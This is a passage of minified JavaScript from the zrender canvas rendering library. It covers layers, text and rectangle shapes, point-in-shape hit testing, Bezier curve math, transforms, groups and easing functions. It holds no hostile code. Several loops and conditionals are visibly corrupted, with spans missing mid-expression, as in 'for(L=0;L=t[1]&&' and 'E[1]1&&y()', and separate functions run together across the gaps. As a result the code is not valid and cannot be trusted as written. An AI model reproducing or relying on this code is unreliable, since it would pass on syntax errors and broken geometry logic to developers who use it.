V;b?(a(_[L],_[L+1],v,E,1),V=h(E)):V=n(_[L],_[L+1],v),i(e,c,V)}for(L=0;L=t[1]&&(e=t[1]),e},t.prototype.getLocation=function(e,t,i){var n=null!=e.x?e.x:"center";switch(n){case"center":n=Math.floor((this.canvasWidth-t)/2);break;case"left":n=0;break;case"right":n=this.canvasWidth-t}var a=null!=e.y?e.y:"center";switch(a){case"center":a=Math.floor((this.canvasHeight-i)/2);break;case"top":a=0;break;case"bottom":a=this.canvasHeight-i}return{x:n,y:a,width:t,height:i}},t}),i("zrender/Layer",["require","./mixin/Transformable","./tool/util","./config"],function(e){function t(){return!1}function i(e,t,i){var n=document.createElement(t),a=i.getWidth(),o=i.getHeight();return n.style.position="absolute",n.style.left=0,n.style.top=0,n.style.width=a+"px",n.style.height=o+"px",n.width=a*r.devicePixelRatio,n.height=o*r.devicePixelRatio,n.setAttribute("data-zr-dom-id",e),n}var n=e("./mixin/Transformable"),a=e("./tool/util"),o=window.G_vmlCanvasManager,r=e("./config"),s=function(e,a){this.id=e,this.dom=i(e,"canvas",a),this.dom.onselectstart=t,this.dom.style["-webkit-user-select"]="none",this.dom.style["user-select"]="none",this.dom.style["-webkit-touch-callout"]="none",this.dom.style["-webkit-tap-highlight-color"]="rgba(0,0,0,0)",this.dom.className=r.elementClassName,o&&o.initElement(this.dom),this.domBack=null,this.ctxBack=null,this.painter=a,this.unusedCount=0,this.config=null,this.dirty=!0,this.elCount=0,this.clearColor=0,this.motionBlur=!1,this.lastFrameAlpha=.7,this.zoomable=!1,this.panable=!1,this.maxZoom=1/0,this.minZoom=0,n.call(this)};return s.prototype.initContext=function(){this.ctx=this.dom.getContext("2d");var e=r.devicePixelRatio;1!=e&&this.ctx.scale(e,e)},s.prototype.createBackBuffer=function(){if(!o){this.domBack=i("back-"+this.id,"canvas",this.painter),this.ctxBack=this.domBack.getContext("2d");var e=r.devicePixelRatio;1!=e&&this.ctxBack.scale(e,e)}},s.prototype.resize=function(e,t){var i=r.devicePixelRatio;this.dom.style.width=e+"px",this.dom.style.height=t+"px",this.dom.setAttribute("width",e*i),this.dom.setAttribute("height",t*i),1!=i&&this.ctx.scale(i,i),this.domBack&&(this.domBack.setAttribute("width",e*i),this.domBack.setAttribute("height",t*i),1!=i&&this.ctxBack.scale(i,i))},s.prototype.clear=function(){var e=this.dom,t=this.ctx,i=e.width,n=e.height,a=this.clearColor&&!o,s=this.motionBlur&&!o,l=this.lastFrameAlpha,h=r.devicePixelRatio;if(s&&(this.domBack||this.createBackBuffer(),this.ctxBack.globalCompositeOperation="copy",this.ctxBack.drawImage(e,0,0,i/h,n/h)),t.clearRect(0,0,i/h,n/h),a&&(t.save(),t.fillStyle=this.clearColor,t.fillRect(0,0,i/h,n/h),t.restore()),s){var m=this.domBack;t.save(),t.globalAlpha=l,t.drawImage(m,0,0,i/h,n/h),t.restore()}},a.merge(s.prototype,n.prototype),s}),i("zrender/shape/Text",["require","../tool/area","./Base","../tool/util"],function(e){ +var t=e("../tool/area"),i=e("./Base"),n=function(e){i.call(this,e)};return n.prototype={type:"text",brush:function(e,i){var n=this.style;if(i&&(n=this.getHighlightStyle(n,this.highlightStyle||{})),"undefined"!=typeof n.text&&n.text!==!1){e.save(),this.doClip(e),this.setContext(e,n),this.setTransform(e),n.textFont&&(e.font=n.textFont),e.textAlign=n.textAlign||"start",e.textBaseline=n.textBaseline||"middle";var a,o=(n.text+"").split("\n"),r=t.getTextHeight("国",n.textFont),s=this.getRect(n),l=n.x;a="top"==n.textBaseline?s.y:"bottom"==n.textBaseline?s.y+r:s.y+r/2;for(var h=0,m=o.length;m>h;h++){if(n.maxWidth)switch(n.brushType){case"fill":e.fillText(o[h],l,a,n.maxWidth);break;case"stroke":e.strokeText(o[h],l,a,n.maxWidth);break;case"both":e.fillText(o[h],l,a,n.maxWidth),e.strokeText(o[h],l,a,n.maxWidth);break;default:e.fillText(o[h],l,a,n.maxWidth)}else switch(n.brushType){case"fill":e.fillText(o[h],l,a);break;case"stroke":e.strokeText(o[h],l,a);break;case"both":e.fillText(o[h],l,a),e.strokeText(o[h],l,a);break;default:e.fillText(o[h],l,a)}a+=r}e.restore()}},getRect:function(e){if(e.__rect)return e.__rect;var i=t.getTextWidth(e.text,e.textFont),n=t.getTextHeight(e.text,e.textFont),a=e.x;"end"==e.textAlign||"right"==e.textAlign?a-=i:"center"==e.textAlign&&(a-=i/2);var o;return o="top"==e.textBaseline?e.y:"bottom"==e.textBaseline?e.y-n:e.y-n/2,e.__rect={x:a,y:o,width:i,height:n},e.__rect}},e("../tool/util").inherits(n,i),n}),i("zrender/shape/Rectangle",["require","./Base","../tool/util"],function(e){var t=e("./Base"),i=function(e){t.call(this,e)};return i.prototype={type:"rectangle",_buildRadiusPath:function(e,t){var i,n,a,o,r=t.x,s=t.y,l=t.width,h=t.height,m=t.radius;"number"==typeof m?i=n=a=o=m:m instanceof Array?1===m.length?i=n=a=o=m[0]:2===m.length?(i=a=m[0],n=o=m[1]):3===m.length?(i=m[0],n=o=m[1],a=m[2]):(i=m[0],n=m[1],a=m[2],o=m[3]):i=n=a=o=0;var V;i+n>l&&(V=i+n,i*=l/V,n*=l/V),a+o>l&&(V=a+o,a*=l/V,o*=l/V),n+a>h&&(V=n+a,n*=h/V,a*=h/V),i+o>h&&(V=i+o,i*=h/V,o*=h/V),e.moveTo(r+i,s),e.lineTo(r+l-n,s),0!==n&&e.quadraticCurveTo(r+l,s,r+l,s+n),e.lineTo(r+l,s+h-a),0!==a&&e.quadraticCurveTo(r+l,s+h,r+l-a,s+h),e.lineTo(r+o,s+h),0!==o&&e.quadraticCurveTo(r,s+h,r,s+h-o),e.lineTo(r,s+i),0!==i&&e.quadraticCurveTo(r,s,r+i,s)},buildPath:function(e,t){t.radius?this._buildRadiusPath(e,t):(e.moveTo(t.x,t.y),e.lineTo(t.x+t.width,t.y),e.lineTo(t.x+t.width,t.y+t.height),e.lineTo(t.x,t.y+t.height),e.lineTo(t.x,t.y)),e.closePath()},getRect:function(e){if(e.__rect)return e.__rect;var t;return t="stroke"==e.brushType||"fill"==e.brushType?e.lineWidth||1:0,e.__rect={x:Math.round(e.x-t/2),y:Math.round(e.y-t/2),width:e.width+t,height:e.height+t},e.__rect}},e("../tool/util").inherits(i,t),i}),i("zrender/tool/area",["require","./util","./curve"],function(e){"use strict";function t(e){return e%=C,0>e&&(e+=C),e}function i(e,t,i,o){if(!t||!e)return!1;var r=e.type;L=L||W.getContext();var s=n(e,t,i,o);if("undefined"!=typeof s)return s;if(e.buildPath&&L.isPointInPath)return a(e,L,t,i,o);switch(r){case"ellipse":return!0;case"trochoid":var l="out"==t.location?t.r1+t.r2+t.d:t.r1-t.r2+t.d;return d(t,i,o,l);case"rose":return d(t,i,o,t.maxr);default:return!1}}function n(e,t,i,n){var a=e.type;switch(a){case"bezier-curve":return"undefined"==typeof t.cpX2?l(t.xStart,t.yStart,t.cpX1,t.cpY1,t.xEnd,t.yEnd,t.lineWidth,i,n):s(t.xStart,t.yStart,t.cpX1,t.cpY1,t.cpX2,t.cpY2,t.xEnd,t.yEnd,t.lineWidth,i,n);case"line":return r(t.xStart,t.yStart,t.xEnd,t.yEnd,t.lineWidth,i,n);case"polyline":return m(t.pointList,t.lineWidth,i,n);case"ring":return V(t.x,t.y,t.r0,t.r,i,n);case"circle":return d(t.x,t.y,t.r,i,n);case"sector":var o=t.startAngle*Math.PI/180,h=t.endAngle*Math.PI/180;return t.clockWise||(o=-o,h=-h),p(t.x,t.y,t.r0,t.r,o,h,!t.clockWise,i,n);case"path":return t.pathArray&&k(t.pathArray,Math.max(t.lineWidth,5),t.brushType,i,n);case"polygon":case"star":case"isogon":return c(t.pointList,i,n);case"text":var u=t.__rect||e.getRect(t);return U(u.x,u.y,u.width,u.height,i,n);case"rectangle":case"image":return U(t.x,t.y,t.width,t.height,i,n)}}function a(e,t,i,n,a){return t.beginPath(),e.buildPath(t,i),t.closePath(),t.isPointInPath(n,a)}function o(e,t,n,a){return!i(e,t,n,a)}function r(e,t,i,n,a,o,r){if(0===a)return!1;var s=Math.max(a,5),l=0,h=e;if(r>t+s&&r>n+s||t-s>r&&n-s>r||o>e+s&&o>i+s||e-s>o&&i-s>o)return!1;if(e===i)return Math.abs(o-e)<=s/2;l=(t-n)/(e-i),h=(e*n-i*t)/(e-i);var m=l*o-r+h,V=m*m/(l*l+1);return s/2*s/2>=V}function s(e,t,i,n,a,o,r,s,l,h,m){if(0===l)return!1;var V=Math.max(l,5);if(m>t+V&&m>n+V&&m>o+V&&m>s+V||t-V>m&&n-V>m&&o-V>m&&s-V>m||h>e+V&&h>i+V&&h>a+V&&h>r+V||e-V>h&&i-V>h&&a-V>h&&r-V>h)return!1;var U=X.cubicProjectPoint(e,t,i,n,a,o,r,s,h,m,null);return V/2>=U}function l(e,t,i,n,a,o,r,s,l){if(0===r)return!1;var h=Math.max(r,5);if(l>t+h&&l>n+h&&l>o+h||t-h>l&&n-h>l&&o-h>l||s>e+h&&s>i+h&&s>a+h||e-h>s&&i-h>s&&a-h>s)return!1;var m=X.quadraticProjectPoint(e,t,i,n,a,o,s,l,null);return h/2>=m}function h(e,i,n,a,o,r,s,l,h){if(0===s)return!1;var m=Math.max(s,5);l-=e,h-=i;var V=Math.sqrt(l*l+h*h);if(V-m>n||n>V+m)return!1;if(Math.abs(a-o)>=C)return!0;if(r){var U=a;a=t(o),o=t(U)}else a=t(a),o=t(o);a>o&&(o+=C);var d=Math.atan2(h,l);return 0>d&&(d+=C),d>=a&&o>=d||d+C>=a&&o>=d+C}function m(e,t,i,n){for(var t=Math.max(t,10),a=0,o=e.length-1;o>a;a++){var s=e[a][0],l=e[a][1],h=e[a+1][0],m=e[a+1][1];if(r(s,l,h,m,t,i,n))return!0}return!1}function V(e,t,i,n,a,o){var r=(a-e)*(a-e)+(o-t)*(o-t);return n*n>r&&r>i*i}function U(e,t,i,n,a,o){return a>=e&&e+i>=a&&o>=t&&t+n>=o}function d(e,t,i,n,a){return i*i>(n-e)*(n-e)+(a-t)*(a-t)}function p(e,t,i,n,a,o,r,s,l){return h(e,t,(i+n)/2,a,o,r,n-i,s,l)}function c(e,t,i){for(var n=e.length,a=0,o=0,r=n-1;n>o;o++){var s=e[r][0],l=e[r][1],h=e[o][0],m=e[o][1];a+=u(s,l,h,m,t,i),r=o}return 0!==a}function u(e,t,i,n,a,o){if(o>t&&o>n||t>o&&n>o)return 0;if(n==t)return 0;var r=t>n?1:-1,s=(o-t)/(n-t),l=s*(i-e)+e;return l>a?r:0}function y(){var e=E[0];E[0]=E[1],E[1]=e}function g(e,t,i,n,a,o,r,s,l,h){if(h>t&&h>n&&h>o&&h>s||t>h&&n>h&&o>h&&s>h)return 0;var m=X.cubicRootAt(t,n,o,s,h,S);if(0===m)return 0;for(var V,U,d=0,p=-1,c=0;m>c;c++){var u=S[c],g=X.cubicAt(e,i,a,r,u);l>g||(0>p&&(p=X.cubicExtrema(t,n,o,s,E),E[1]1&&y(),V=X.cubicAt(t,n,o,s,E[0]),p>1&&(U=X.cubicAt(t,n,o,s,E[1]))),d+=2==p?uV?1:-1:uU?1:-1:U>s?1:-1:uV?1:-1:V>s?1:-1)}return d}function b(e,t,i,n,a,o,r,s){if(s>t&&s>n&&s>o||t>s&&n>s&&o>s)return 0;var l=X.quadraticRootAt(t,n,o,s,S);if(0===l)return 0;var h=X.quadraticExtremum(t,n,o);if(h>=0&&1>=h){for(var m=0,V=X.quadraticAt(t,n,o,h),U=0;l>U;U++){var d=X.quadraticAt(e,i,a,S[U]);r>d||(m+=S[U]V?1:-1:V>o?1:-1)}return m}var d=X.quadraticAt(e,i,a,S[0]);return r>d?0:t>o?1:-1}function f(e,i,n,a,o,r,s,l){if(l-=i,l>n||-n>l)return 0;var h=Math.sqrt(n*n-l*l);if(S[0]=-h,S[1]=h,Math.abs(a-o)>=C){a=0,o=C;var m=r?1:-1;return s>=S[0]+e&&s<=S[1]+e?m:0}if(r){var h=a;a=t(o),o=t(h)}else a=t(a),o=t(o);a>o&&(o+=C);for(var V=0,U=0;2>U;U++){var d=S[U];if(d+e>s){var p=Math.atan2(l,d),m=r?1:-1;0>p&&(p=C+p),(p>=a&&o>=p||p+C>=a&&o>=p+C)&&(p>Math.PI/2&&p<1.5*Math.PI&&(m=-m),V+=m)}}return V}function k(e,t,i,n,a){var o=0,m=0,V=0,U=0,d=0,p=!0,c=!0;i=i||"fill";for(var y="stroke"===i||"both"===i,k="fill"===i||"both"===i,x=0;x0&&(k&&(o+=u(m,V,U,d,n,a)),0!==o))return!0;U=L[L.length-2],d=L[L.length-1],p=!1,c&&"A"!==_.command&&(c=!1,m=U,V=d)}switch(_.command){case"M":m=L[0],V=L[1];break;case"L":if(y&&r(m,V,L[0],L[1],t,n,a))return!0;k&&(o+=u(m,V,L[0],L[1],n,a)),m=L[0],V=L[1];break;case"C":if(y&&s(m,V,L[0],L[1],L[2],L[3],L[4],L[5],t,n,a))return!0;k&&(o+=g(m,V,L[0],L[1],L[2],L[3],L[4],L[5],n,a)),m=L[4],V=L[5];break;case"Q":if(y&&l(m,V,L[0],L[1],L[2],L[3],t,n,a))return!0;k&&(o+=b(m,V,L[0],L[1],L[2],L[3],n,a)),m=L[2],V=L[3];break;case"A":var W=L[0],X=L[1],v=L[2],w=L[3],K=L[4],I=L[5],J=Math.cos(K)*v+W,C=Math.sin(K)*w+X;c?(c=!1,U=J,d=C):o+=u(m,V,J,C);var S=(n-W)*w/v+W;if(y&&h(W,X,w,K,K+I,1-L[7],t,S,a))return!0;k&&(o+=f(W,X,w,K,K+I,1-L[7],S,a)),m=Math.cos(K+I)*v+W,V=Math.sin(K+I)*w+X;break;case"z":if(y&&r(m,V,U,d,t,n,a))return!0;p=!0}}return k&&(o+=u(m,V,U,d,n,a)),0!==o}function x(e,t){var i=e+":"+t;if(v[i])return v[i];L=L||W.getContext(),L.save(),t&&(L.font=t),e=(e+"").split("\n");for(var n=0,a=0,o=e.length;o>a;a++)n=Math.max(L.measureText(e[a]).width,n);return L.restore(),v[i]=n,++K>J&&(K=0,v={}),n}function _(e,t){var i=e+":"+t;if(w[i])return w[i];L=L||W.getContext(),L.save(),t&&(L.font=t),e=(e+"").split("\n");var n=(L.measureText("国").width+2)*e.length;return L.restore(),w[i]=n,++I>J&&(I=0,w={}),n}var L,W=e("./util"),X=e("./curve"),v={},w={},K=0,I=0,J=5e3,C=2*Math.PI,S=[-1,-1,-1],E=[-1,-1];return{isInside:i,isOutside:o,getTextWidth:x,getTextHeight:_,isInsidePath:k,isInsidePolygon:c,isInsideSector:p,isInsideCircle:d,isInsideLine:r,isInsideRect:U,isInsidePolyline:m,isInsideCubicStroke:s,isInsideQuadraticStroke:l}}),i("zrender/shape/Base",["require","../tool/matrix","../tool/guid","../tool/util","../tool/log","../mixin/Transformable","../mixin/Eventful","../tool/area","../tool/color"],function(e){function t(t,n,a,o,r,s,l){r&&(t.font=r),t.textAlign=s,t.textBaseline=l;var h=i(n,a,o,r,s,l);n=(n+"").split("\n");var m=e("../tool/area").getTextHeight("国",r);switch(l){case"top":o=h.y;break;case"bottom":o=h.y+m;break;default:o=h.y+m/2}for(var V=0,U=n.length;U>V;V++)t.fillText(n[V],a,o),o+=m}function i(t,i,n,a,o,r){var s=e("../tool/area"),l=s.getTextWidth(t,a),h=s.getTextHeight("国",a);switch(t=(t+"").split("\n"),o){case"end":case"right":i-=l;break;case"center":i-=l/2}switch(r){case"top":break;case"bottom":n-=h*t.length;break;default:n-=h*t.length/2}return{x:i,y:n,width:l,height:h*t.length}}var n=window.G_vmlCanvasManager,a=e("../tool/matrix"),o=e("../tool/guid"),r=e("../tool/util"),s=e("../tool/log"),l=e("../mixin/Transformable"),h=e("../mixin/Eventful"),m=function(e){e=e||{},this.id=e.id||o();for(var t in e)this[t]=e[t];this.style=this.style||{},this.highlightStyle=this.highlightStyle||null,this.parent=null,this.__dirty=!0,this.__clipShapes=[],l.call(this),h.call(this)};m.prototype.invisible=!1,m.prototype.ignore=!1,m.prototype.zlevel=0,m.prototype.draggable=!1,m.prototype.clickable=!1,m.prototype.hoverable=!0,m.prototype.z=0,m.prototype.brush=function(e,t){var i=this.beforeBrush(e,t);switch(e.beginPath(),this.buildPath(e,i),i.brushType){case"both":e.fill();case"stroke":i.lineWidth>0&&e.stroke();break;default:e.fill()}this.drawText(e,i,this.style),this.afterBrush(e)},m.prototype.beforeBrush=function(e,t){var i=this.style;return this.brushTypeOnly&&(i.brushType=this.brushTypeOnly),t&&(i=this.getHighlightStyle(i,this.highlightStyle||{},this.brushTypeOnly)),"stroke"==this.brushTypeOnly&&(i.strokeColor=i.strokeColor||i.color),e.save(),this.doClip(e),this.setContext(e,i),this.setTransform(e),i},m.prototype.afterBrush=function(e){e.restore()};var V=[["color","fillStyle"],["strokeColor","strokeStyle"],["opacity","globalAlpha"],["lineCap","lineCap"],["lineJoin","lineJoin"],["miterLimit","miterLimit"],["lineWidth","lineWidth"],["shadowBlur","shadowBlur"],["shadowColor","shadowColor"],["shadowOffsetX","shadowOffsetX"],["shadowOffsetY","shadowOffsetY"]];m.prototype.setContext=function(e,t){for(var i=0,n=V.length;n>i;i++){var a=V[i][0],o=t[a],r=V[i][1];"undefined"!=typeof o&&(e[r]=o)}};var U=a.create();return m.prototype.doClip=function(e){if(this.__clipShapes&&!n)for(var t=0;t=i.x&&e<=i.x+i.width&&t>=i.y&&t<=i.y+i.height},m.prototype.drawText=function(e,i,n){if("undefined"!=typeof i.text&&i.text!==!1){var a=i.textColor||i.color||i.strokeColor;e.fillStyle=a;var o,r,s,l,h=10,m=i.textPosition||this.textPosition||"top";switch(m){case"inside":case"top":case"bottom":case"left":case"right":if(this.getRect){var V=(n||i).__rect||this.getRect(n||i);switch(m){case"inside":s=V.x+V.width/2,l=V.y+V.height/2,o="center",r="middle","stroke"!=i.brushType&&a==i.color&&(e.fillStyle="#fff");break;case"left":s=V.x-h,l=V.y+V.height/2,o="end",r="middle";break;case"right":s=V.x+V.width+h,l=V.y+V.height/2,o="start",r="middle";break;case"top":s=V.x+V.width/2,l=V.y-h,o="center",r="bottom";break;case"bottom":s=V.x+V.width/2,l=V.y+V.height+h,o="center",r="top"}}break;case"start":case"end":var U=i.pointList||[[i.xStart||0,i.yStart||0],[i.xEnd||0,i.yEnd||0]],d=U.length;if(2>d)return;var p,c,u,y;switch(m){case"start":p=U[1][0],c=U[0][0],u=U[1][1],y=U[0][1];break;case"end":p=U[d-2][0],c=U[d-1][0],u=U[d-2][1],y=U[d-1][1]}s=c,l=y;var g=Math.atan((u-y)/(c-p))/Math.PI*180;0>c-p?g+=180:0>u-y&&(g+=360),h=5,g>=30&&150>=g?(o="center",r="bottom",l-=h):g>150&&210>g?(o="right",r="middle",s-=h):g>=210&&330>=g?(o="center",r="top",l+=h):(o="left",r="middle",s+=h);break;case"specific":s=i.textX||0,l=i.textY||0,o="start",r="middle"}null!=s&&null!=l&&t(e,i.text,s,l,i.textFont,i.textAlign||o,i.textBaseline||r)}},m.prototype.modSelf=function(){this.__dirty=!0,this.style&&(this.style.__rect=null),this.highlightStyle&&(this.highlightStyle.__rect=null)},m.prototype.isSilent=function(){return!(this.hoverable||this.draggable||this.clickable||this.onmousemove||this.onmouseover||this.onmouseout||this.onmousedown||this.onmouseup||this.onclick||this.ondragenter||this.ondragover||this.ondragleave||this.ondrop)},r.merge(m.prototype,l.prototype,!0),r.merge(m.prototype,h.prototype,!0),m}),i("zrender/tool/curve",["require","./vector"],function(e){function t(e){return e>-u&&u>e}function i(e){return e>u||-u>e}function n(e,t,i,n,a){var o=1-a;return o*o*(o*e+3*a*t)+a*a*(a*n+3*o*i)}function a(e,t,i,n,a){var o=1-a;return 3*(((t-e)*o+2*(i-t)*a)*o+(n-i)*a*a)}function o(e,i,n,a,o,r){var s=a+3*(i-n)-e,l=3*(n-2*i+e),h=3*(i-e),m=e-o,V=l*l-3*s*h,U=l*h-9*s*m,d=h*h-3*l*m,p=0;if(t(V)&&t(U))if(t(l))r[0]=0;else{var c=-h/l;c>=0&&1>=c&&(r[p++]=c)}else{var u=U*U-4*V*d;if(t(u)){var b=U/V,c=-l/s+b,f=-b/2;c>=0&&1>=c&&(r[p++]=c),f>=0&&1>=f&&(r[p++]=f)}else if(u>0){var k=Math.sqrt(u),x=V*l+1.5*s*(-U+k),_=V*l+1.5*s*(-U-k);x=0>x?-Math.pow(-x,g):Math.pow(x,g),_=0>_?-Math.pow(-_,g):Math.pow(_,g);var c=(-l-(x+_))/(3*s);c>=0&&1>=c&&(r[p++]=c)}else{var L=(2*V*l-3*s*U)/(2*Math.sqrt(V*V*V)),W=Math.acos(L)/3,X=Math.sqrt(V),v=Math.cos(W),c=(-l-2*X*v)/(3*s),f=(-l+X*(v+y*Math.sin(W)))/(3*s),w=(-l+X*(v-y*Math.sin(W)))/(3*s);c>=0&&1>=c&&(r[p++]=c),f>=0&&1>=f&&(r[p++]=f),w>=0&&1>=w&&(r[p++]=w)}}return p}function r(e,n,a,o,r){var s=6*a-12*n+6*e,l=9*n+3*o-3*e-9*a,h=3*n-3*e,m=0;if(t(l)){if(i(s)){var V=-h/s;V>=0&&1>=V&&(r[m++]=V)}}else{var U=s*s-4*l*h;if(t(U))r[0]=-s/(2*l);else if(U>0){var d=Math.sqrt(U),V=(-s+d)/(2*l),p=(-s-d)/(2*l);V>=0&&1>=V&&(r[m++]=V),p>=0&&1>=p&&(r[m++]=p)}}return m}function s(e,t,i,n,a,o){var r=(t-e)*a+e,s=(i-t)*a+t,l=(n-i)*a+i,h=(s-r)*a+r,m=(l-s)*a+s,V=(m-h)*a+h;o[0]=e,o[1]=r,o[2]=h,o[3]=V,o[4]=V,o[5]=m,o[6]=l,o[7]=n}function l(e,t,i,a,o,r,s,l,h,m,V){var U,d=.005,p=1/0;b[0]=h,b[1]=m;for(var y=0;1>y;y+=.05){f[0]=n(e,i,o,s,y),f[1]=n(t,a,r,l,y);var g=c.distSquare(b,f);p>g&&(U=y,p=g)}p=1/0;for(var x=0;32>x&&!(u>d);x++){var _=U-d,L=U+d;f[0]=n(e,i,o,s,_),f[1]=n(t,a,r,l,_);var g=c.distSquare(f,b);if(_>=0&&p>g)U=_,p=g;else{k[0]=n(e,i,o,s,L),k[1]=n(t,a,r,l,L);var W=c.distSquare(k,b);1>=L&&p>W?(U=L,p=W):d*=.5}}return V&&(V[0]=n(e,i,o,s,U),V[1]=n(t,a,r,l,U)),Math.sqrt(p)}function h(e,t,i,n){var a=1-n;return a*(a*e+2*n*t)+n*n*i}function m(e,t,i,n){return 2*((1-n)*(t-e)+n*(i-t))}function V(e,n,a,o,r){var s=e-2*n+a,l=2*(n-e),h=e-o,m=0;if(t(s)){if(i(l)){var V=-h/l;V>=0&&1>=V&&(r[m++]=V)}}else{var U=l*l-4*s*h;if(t(U)){var V=-l/(2*s);V>=0&&1>=V&&(r[m++]=V)}else if(U>0){var d=Math.sqrt(U),V=(-l+d)/(2*s),p=(-l-d)/(2*s);V>=0&&1>=V&&(r[m++]=V),p>=0&&1>=p&&(r[m++]=p)}}return m}function U(e,t,i){var n=e+i-2*t;return 0===n?.5:(e-t)/n}function d(e,t,i,n,a){var o=(t-e)*n+e,r=(i-t)*n+t,s=(r-o)*n+o;a[0]=e,a[1]=o,a[2]=s,a[3]=s,a[4]=r,a[5]=i}function p(e,t,i,n,a,o,r,s,l){var m,V=.005,U=1/0;b[0]=r,b[1]=s;for(var d=0;1>d;d+=.05){f[0]=h(e,i,a,d),f[1]=h(t,n,o,d);var p=c.distSquare(b,f);U>p&&(m=d,U=p)}U=1/0;for(var y=0;32>y&&!(u>V);y++){var g=m-V,x=m+V;f[0]=h(e,i,a,g),f[1]=h(t,n,o,g);var p=c.distSquare(f,b);if(g>=0&&U>p)m=g,U=p;else{k[0]=h(e,i,a,x),k[1]=h(t,n,o,x);var _=c.distSquare(k,b);1>=x&&U>_?(m=x,U=_):V*=.5}}return l&&(l[0]=h(e,i,a,m),l[1]=h(t,n,o,m)),Math.sqrt(U)}var c=e("./vector"),u=1e-4,y=Math.sqrt(3),g=1/3,b=c.create(),f=c.create(),k=c.create();return{cubicAt:n,cubicDerivativeAt:a,cubicRootAt:o,cubicExtrema:r,cubicSubdivide:s,cubicProjectPoint:l,quadraticAt:h,quadraticDerivativeAt:m,quadraticRootAt:V,quadraticExtremum:U,quadraticSubdivide:d,quadraticProjectPoint:p}}),i("zrender/mixin/Transformable",["require","../tool/matrix","../tool/vector"],function(e){"use strict";function t(e){return e>-s&&s>e}function i(e){return e>s||-s>e}var n=e("../tool/matrix"),a=e("../tool/vector"),o=[0,0],r=n.translate,s=5e-5,l=function(){this.position||(this.position=[0,0]),"undefined"==typeof this.rotation&&(this.rotation=[0,0,0]),this.scale||(this.scale=[1,1,0,0]),this.needLocalTransform=!1,this.needTransform=!1};return l.prototype={constructor:l,updateNeedTransform:function(){this.needLocalTransform=i(this.rotation[0])||i(this.position[0])||i(this.position[1])||i(this.scale[0]-1)||i(this.scale[1]-1)},updateTransform:function(){this.updateNeedTransform();var e=this.parent&&this.parent.needTransform;if(this.needTransform=this.needLocalTransform||e,this.needTransform){var t=this.transform||n.create();if(n.identity(t),this.needLocalTransform){var a=this.scale;if(i(a[0])||i(a[1])){o[0]=-a[2]||0,o[1]=-a[3]||0;var s=i(o[0])||i(o[1]);s&&r(t,t,o),n.scale(t,t,a),s&&(o[0]=-o[0],o[1]=-o[1],r(t,t,o))}if(this.rotation instanceof Array){if(0!==this.rotation[0]){o[0]=-this.rotation[1]||0,o[1]=-this.rotation[2]||0;var s=i(o[0])||i(o[1]);s&&r(t,t,o),n.rotate(t,t,this.rotation[0]),s&&(o[0]=-o[0],o[1]=-o[1],r(t,t,o))}}else 0!==this.rotation&&n.rotate(t,t,this.rotation);(i(this.position[0])||i(this.position[1]))&&r(t,t,this.position)}e&&(this.needLocalTransform?n.mul(t,this.parent.transform,t):n.copy(t,this.parent.transform)),this.transform=t,this.invTransform=this.invTransform||n.create(),n.invert(this.invTransform,t)}},setTransform:function(e){if(this.needTransform){var t=this.transform;e.transform(t[0],t[1],t[2],t[3],t[4],t[5])}},lookAt:function(){var e=a.create();return function(i){this.transform||(this.transform=n.create());var o=this.transform;if(a.sub(e,i,this.position),!t(e[0])||!t(e[1])){a.normalize(e,e);var r=this.scale;o[2]=e[0]*r[1],o[3]=e[1]*r[1],o[0]=e[1]*r[0],o[1]=-e[0]*r[0],o[4]=this.position[0],o[5]=this.position[1],this.decomposeTransform()}}}(),decomposeTransform:function(){if(this.transform){var e=this.transform,t=e[0]*e[0]+e[1]*e[1],n=this.position,a=this.scale,o=this.rotation;i(t-1)&&(t=Math.sqrt(t));var r=e[2]*e[2]+e[3]*e[3];i(r-1)&&(r=Math.sqrt(r)),n[0]=e[4],n[1]=e[5],a[0]=t,a[1]=r,a[2]=a[3]=0,o[0]=Math.atan2(-e[1]/r,e[0]/t),o[1]=o[2]=0}},transformCoordToLocal:function(e,t){var i=[e,t];return this.needTransform&&this.invTransform&&a.applyTransform(i,i,this.invTransform),i}},l}),i("zrender/Group",["require","./tool/guid","./tool/util","./mixin/Transformable","./mixin/Eventful"],function(e){var t=e("./tool/guid"),i=e("./tool/util"),n=e("./mixin/Transformable"),a=e("./mixin/Eventful"),o=function(e){e=e||{},this.id=e.id||t();for(var i in e)this[i]=e[i];this.type="group",this.clipShape=null,this._children=[],this._storage=null,this.__dirty=!0,n.call(this),a.call(this)};return o.prototype.ignore=!1,o.prototype.children=function(){return this._children.slice()},o.prototype.childAt=function(e){return this._children[e]},o.prototype.addChild=function(e){e!=this&&e.parent!=this&&(e.parent&&e.parent.removeChild(e),this._children.push(e),e.parent=this,this._storage&&this._storage!==e._storage&&(this._storage.addToMap(e),e instanceof o&&e.addChildrenToStorage(this._storage)))},o.prototype.removeChild=function(e){var t=i.indexOf(this._children,e);t>=0&&this._children.splice(t,1),e.parent=null,this._storage&&(this._storage.delFromMap(e.id),e instanceof o&&e.delChildrenFromStorage(this._storage))},o.prototype.clearChildren=function(){for(var e=0;et)){t=Math.min(t,1);var n="string"==typeof this.easing?i[this.easing]:this.easing,a="function"==typeof n?n(t):t;return this.fire("frame",a),1==t?this.loop?(this.restart(),"restart"):(this.__needsRemove=!0,"destroy"):null}},restart:function(){var e=(new Date).getTime(),t=(e-this._startTime)%this._life;this._startTime=(new Date).getTime()-t+this.gap,this.__needsRemove=!1},fire:function(e,t){for(var i=0,n=this._targetPool.length;n>i;i++)this["on"+e]&&this["on"+e](this._targetPool[i],t)},constructor:t},t}),i("zrender/animation/easing",[],function(){var e={Linear:function(e){return e},QuadraticIn:function(e){return e*e},QuadraticOut:function(e){return e*(2-e)},QuadraticInOut:function(e){return(e*=2)<1?.5*e*e:-.5*(--e*(e-2)-1)},CubicIn:function(e){return e*e*e},CubicOut:function(e){return--e*e*e+1},CubicInOut:function(e){return(e*=2)<1?.5*e*e*e:.5*((e-=2)*e*e+2)},QuarticIn:function(e){return e*e*e*e},QuarticOut:function(e){return 1- --e*e*e*e},QuarticInOut:function(e){return(e*=2)<1?.5*e*e*e*e:-.5*((e-=2)*e*e*e-2)},QuinticIn:function(e){return e*e*e*e*e},QuinticOut:function(e){return--e*e*e*e*e+1},QuinticInOut:function(e){return(e*=2)<1?.5*e*e*e*e*e:.5*((e-=2)*e*e*e*e+2)},SinusoidalIn:function(e){return 1-Math.cos(e*Math.PI/2)},SinusoidalOut:function(e){return Math.sin(e*Math.PI/2)},SinusoidalInOut:function(e){return.5*(1-Math.cos(Math.PI*e))},ExponentialIn:function(e){return 0===e?0:Math.pow(1024,e-1)},ExponentialOut:function(e){return 